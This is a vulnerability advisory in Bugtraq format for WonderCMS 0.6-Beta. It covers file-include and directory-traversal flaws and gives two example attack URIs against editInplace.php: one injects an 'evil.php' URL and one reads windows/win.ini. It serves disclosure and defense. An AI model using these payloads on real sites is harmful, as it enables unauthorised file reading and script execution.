WonderCMS Local File Include, Information Disclosure and Directory Traversal Vulnerabilities

Bugtraq ID:	75313
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 19 2015 12:00AM
Updated:	Jun 19 2015 12:00AM
Credit:	indoushka
Vulnerable:	Wondercms Wondercms 0.6-Beta
Not Vulnerable:

WonderCMS Local File Include, Information Disclosure and Directory Traversal Vulnerabilities

WonderCMS is prone to multiple local file-include, information-disclosure and directory-traversal vulnerabilities.

Attackers may leverage these issues to execute arbitrary local scripts and to retrieve arbitrary files from the affected system in the context of the affected site by using specially crafted directory-traversal sequences. This may allow the attacker to obtain sensitive information; other attacks are also possible.

WonderCMS Local File Include, Information Disclosure and Directory Traversal Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs available:

http://www.example.com/wondercms/js/editInplace.php?hook=http://127.0.0.1/evil.php

http://www.example.com//wondercms/js/editInplace.php?hook=../../../../../../../../../../windows/win.ini

WonderCMS Local File Include, Information Disclosure and Directory Traversal Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

WonderCMS Local File Include, Information Disclosure and Directory Traversal Vulnerabilities

References:

• WonderCMS Homepage (WonderCMS)